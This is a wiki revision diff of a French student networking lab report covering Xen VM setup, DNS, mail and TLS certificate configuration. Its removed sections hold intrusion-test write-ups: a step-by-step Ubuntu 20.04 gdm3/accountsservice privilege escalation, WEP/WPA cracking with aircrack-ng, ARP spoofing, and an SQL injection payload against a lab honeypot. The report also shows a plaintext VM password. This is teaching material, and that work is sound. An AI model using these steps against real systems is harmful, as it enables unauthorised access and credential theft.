|
|
| Ligne 1 : |
Ligne 1 : |
| − | =2. Installation de la machine virtuelle Xen=
| |
| − |
| |
| − | Tout d'abord, on fait un SSH sur capbreton.
| |
| − |
| |
| − | Puis création de la machine virtuelle :
| |
| − | xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force
| |
| − |
| |
| − | On renomme les LVM avec lv rename :
| |
| − |
| |
| − | lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
| |
| − | lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var
| |
| − |
| |
| − | On obtient (lvdispaly) :
| |
| − |
| |
| − | --- Logical volume ---
| |
| − | LV Path /dev/storage/piedbleu-home
| |
| − | LV Name piedbleu-home
| |
| − | VG Name storage
| |
| − | LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
| |
| − | LV Write Access read/write
| |
| − | LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
| |
| − | LV Status available
| |
| − | # open 1
| |
| − | LV Size 10.00 GiB
| |
| − | Current LE 2560
| |
| − | Segments 1
| |
| − | Allocation inherit
| |
| − | Read ahead sectors auto
| |
| − | - currently set to 256
| |
| − | Block device 254:12
| |
| − |
| |
| − | --- Logical volume ---
| |
| − | LV Path /dev/storage/piedbleu-var
| |
| − | LV Name piedbleu-var
| |
| − | VG Name storage
| |
| − | LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
| |
| − | LV Write Access read/write
| |
| − | LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
| |
| − | LV Status available
| |
| − | # open 1
| |
| − | LV Size 10.00 GiB
| |
| − | Current LE 2560
| |
| − | Segments 1
| |
| − | Allocation inherit
| |
| − | Read ahead sectors auto
| |
| − | - currently set to 256
| |
| − | Block device 254:13
| |
| − |
| |
| − |
| |
| − | Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg
| |
| − |
| |
| − | Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
| |
| − | phy:/dev/storage/piedbleu-home,xvda3,w',
| |
| − | phy:/dev/storage/piedbleu-var,xvda4,w',
| |
| − |
| |
| − | Dans la catégorie "Networking", on ajoute :
| |
| − | bridge=IMA5sc
| |
| − |
| |
| − | Ensuite, on lance la VM :
| |
| − | xl create -c /etc/xen/piedbleu.cfg
| |
| − | Par la suite, pour accéder à la VM, on fera :
| |
| − | xl console piedbleu
| |
| − |
| |
| − | Dans la VM, on formate xvda3, xvda4 en ext 4 :
| |
| − | mkfs.ext4 /dev/xvda3
| |
| − | mkfs.ext4 /dev/xvda4
| |
| − |
| |
| − | On modifie le fstab en ajoutant :
| |
| − |
| |
| − | /dev/xvda3 /home defaults 0 2
| |
| − | /dev/xvda4 /var defaults 0 2
| |
| − |
| |
| − | Et après on les monte :
| |
| − | mount -a
| |
| − | puis on fait un lsblk pour vérifier.
| |
| − |
| |
| − | On obtient :
| |
| − |
| |
| − | [[Fichier:Lsblk-g8-2021.png|480px]]
| |
| − |
| |
| | =4. Services Internet= | | =4. Services Internet= |
| | ==4.0 Accès à Internet== | | ==4.0 Accès à Internet== |
| Ligne 214 : |
Ligne 134 : |
| | mailx | | mailx |
| | | | |
| − | =5. Tests d’intrusion=
| |
| − |
| |
| − | ==5.1 Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==
| |
| − |
| |
| − | Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en <span style="color:red"> '''exclusivité dans le département IMA''' </span> l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :
| |
| − |
| |
| − | 1) J'installe Ubuntu 20.04 dans une VM.
| |
| − |
| |
| − | 2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...
| |
| − |
| |
| − | $ sudo adduser u1
| |
| − | $ su u1
| |
| − | $ id
| |
| − | uid=1001(u1) gid=1001(u1) groupes=1001(u1)
| |
| − |
| |
| − | 3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :
| |
| − |
| |
| − | $ ln -s /dev/zero ~/.pam_environment
| |
| − |
| |
| − | Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :
| |
| − |
| |
| − | $ top
| |
| − |
| |
| − | On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.
| |
| − |
| |
| − | $ kill -SIGSTOP 1098
| |
| − |
| |
| − | Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.
| |
| − |
| |
| − | $ rm ~/.pam_environment
| |
| − |
| |
| − | Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes.
| |
| − |
| |
| − | $ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"
| |
| − |
| |
| − | On se déconnecte de notre session.
| |
| − |
| |
| − | Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine !
| |
| − |
| |
| − | $ whoami
| |
| − | pwn
| |
| − | $ id
| |
| − | uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)
| |
| − |
| |
| − |
| |
| − | '''Explication : '''
| |
| − |
| |
| − | En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.
| |
| − |
| |
| − | La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...
| |
| − |
| |
| − | Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.
| |
| − |
| |
| − |
| |
| − | '''Note 1 : ''' La faille semble avoir été rapidement patchée.
| |
| − |
| |
| − | '''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :
| |
| − |
| |
| − | accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)
| |
| − |
| |
| − | gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)
| |
| − |
| |
| − | '''Version du noyau et des parquets : '''
| |
| − | Ubuntu 20.04.1 LTS, kernel 5.6
| |
| − | gdm3, version 3.36.3-0ubuntu0.20.04.1
| |
| − | accountsservice, version 0.6.55-0ubuntu12~20.04.1
| |
| − |
| |
| − | ''' Source : '''
| |
| − |
| |
| − | ''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020
| |
| − |
| |
| − | https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE
| |
| − |
| |
| − | ==5.2 Cassage de clef WEP d’un point d’accès WiFi==
| |
| − |
| |
| − | Nous commençons tout d’abord par installer le paquet aircrack :
| |
| − |
| |
| − | $ apt-get install aircrack-ng
| |
| − |
| |
| − | À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :
| |
| − |
| |
| − | $ airmon-ng
| |
| − |
| |
| − | [[Fichier:screen1.png|600px]]
| |
| − |
| |
| − |
| |
| − | On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.
| |
| − |
| |
| − | Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.
| |
| − |
| |
| − | $ airmon-ng start wlp1s0mon
| |
| − |
| |
| − |
| |
| − | On peux ensuite lancer le scan des réseaux wifi environnants :
| |
| − |
| |
| − | $ airodump-ng --encrypt wep wlp1s0mon
| |
| − |
| |
| − | [[Fichier:Screen2.png|600px]]
| |
| − |
| |
| − |
| |
| − | On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.
| |
| − |
| |
| − | On capture ensuite les paquets émis par le point d’accès cible :
| |
| − |
| |
| − | $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon
| |
| − |
| |
| − | [[Fichier:Screen3.png|600px]]
| |
| − |
| |
| − |
| |
| − | On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :
| |
| − |
| |
| − | $ aircrack-ng -z mon_fichier-01.cap
| |
| − |
| |
| − | [[Fichier:Screen4.png|600px]]
| |
| − |
| |
| − |
| |
| − | On voit que le programme a réussi à trouver la clé ( message « Key Found »).
| |
| − |
| |
| − | ==5.3 Cassage de mot de passe WPA-PSK par force brute==
| |
| − |
| |
| − | Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).
| |
| − |
| |
| − | On lance ensuite le scan des réseaux wifi WPA PSK environnants :
| |
| − |
| |
| − | $ airodump-ng --encrypt wpa-psk wlp1s0mon
| |
| − |
| |
| − | [[Fichier:scankracotte.png || 600px]]
| |
| − |
| |
| − | Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).
| |
| − |
| |
| − | Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:
| |
| − |
| |
| − | $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture
| |
| − |
| |
| − | Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.
| |
| − |
| |
| − | [[Fichier:Handshake1.png | 600px]]
| |
| − |
| |
| − | Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.
| |
| − |
| |
| − | Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):
| |
| − |
| |
| − | $ crunch 8 8 -o 12345678 > motdepasse.txt
| |
| − |
| |
| − | Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.
| |
| − |
| |
| − | Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :
| |
| − |
| |
| − | $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap
| |
| − |
| |
| − | Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :
| |
| − |
| |
| − | [[Fichier:WPA-5.png|600px]]
| |
| − |
| |
| − | ==5.4 Attaque de type "homme au milieu" par usurpation ARP==
| |
| − |
| |
| − | Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :
| |
| − |
| |
| − | apt install dsniff
| |
| − | export PATH=/sbin:/usr/sbin:$PATH
| |
| − | echo 1 > /proc/sys/net/ipv4/ip_forward
| |
| − |
| |
| − | Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :
| |
| − |
| |
| − | arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254
| |
| − |
| |
| − | Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).
| |
| − |
| |
| − | En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :
| |
| − |
| |
| − | [[Fichier:Mitm-pra.png|600px]]
| |
| − |
| |
| − | ==5.5 Intrusion sur un serveur d’application Web==
| |
| − |
| |
| − | Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :
| |
| − |
| |
| − | ' OR 1 = 1 --
| |
| − |
| |
| − | D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).
| |
| − |
| |
| − | nmap -T4 -A honey.plil.info
| |
| − |
| |
| − | On obtient :
| |
| − |
| |
| − | [[Fichier:Nmap-g8-2021 1.2.png|600px]]
| |
| − |
| |
| − | Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.
| |
| − |
| |
| − | De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.
| |
| − |
| |
| − | De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.
| |
| − |
| |
| − | On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.
| |
| − |
| |
| − | On utilise cette découverte pour se connecter sur le serveur en SSH.
| |
| − |
| |
| − | Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.
| |
| − |
| |
| − | Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.
| |
| − |
| |
| − | Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.
| |
| − |
| |
| − | Quelques temps plus tard... John nous donne le mot de passe root !
| |
| − |
| |
| − | Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I was here" :
| |
| − |
| |
| − | [[Fichier:Hack-honey.png|600px]]
| |
| − |
| |
| − | =6. Réalisations=
| |
| − |
| |
| − | == 6.1 Sécurisation de données : RAID 5 logiciel==
| |
| − |
| |
| − | Tout d'abord, on crée 3 partitions vituelles :
| |
| − |
| |
| − | lvcreate -L1G -n piedbleu-raid1 storage
| |
| − |
| |
| − | Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.
| |
| − |
| |
| − | Tout d'abord, on installe le paquet mdadm.
| |
| − | apt instal mdadm
| |
| − |
| |
| − | Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
| |
| − | mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
| |
| − | mdadm --monitor --daemonise /dev/md0
| |
| − |
| |
| − | On formate notre volume RAID.
| |
| − | mkfs.ext4 /dev/md0
| |
| | | | |
| − | On rajoute cette ligne dans le fstab :
| + | ==4.3 Sécurisation de site web par certificat== |
| − | /dev/md0 /raid5 ext4 defaults 0 2
| |
| | | | |
| − | Pour finir, on peuple notre volume RAID.
| + | Afin de configurer le service http Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi. |
| − | mkdir /raid5
| |
| − | touch /raid5/test
| |
| | | | |
| − | RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
| + | Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante: |
| − | On peut donc supprimer une partition et toujours avoir accès à nos fichiers.
| |
| | | | |
| − | ==6.2 Chiffrement de données==
| + | openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr |
| | | | |
| − | Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :
| |
| | | | |
| − | $ fdisk -l # on répère la clé USB
| + | - newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits. |
| − | $ fdisk /dev/sdb # on formate la clé en une seule partition
| |
| − | $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
| |
| − | $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
| |
| − | $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4
| |
| | | | |
| − | Ensuite, on monte la clé USB, et on la peuple :
| + | - keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key". |
| | | | |
| − | $ mkdir /mnt/USB
| + | - -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr". |
| − | $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
| |
| − | $ touch /mnt/USB/mytestfile.txt
| |
| | | | |
| − | Une fois que l'on a fini, on démonte le système de fichier proprement :
| + | À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name. |
| | | | |
| − | $ umount /mnt/USB
| + | Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr |
| − | $ cryptsetup luksClose myusbkey
| |
| | | | |
| − | == 6.4 Sécurisation WiFi par WPA2-EAP ==
| + | Nous copions ensuite le contenu du fichier .csr sur Gandi |
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:
2ème étape:
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).
3ème partie:
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zobe "piedbleu.site":
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:
Nous installons ensuite postfix ( configuration : "Internet Site", nom du site " piedbleu.site" ).
Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :
Afin de configurer le service http Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.
Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr
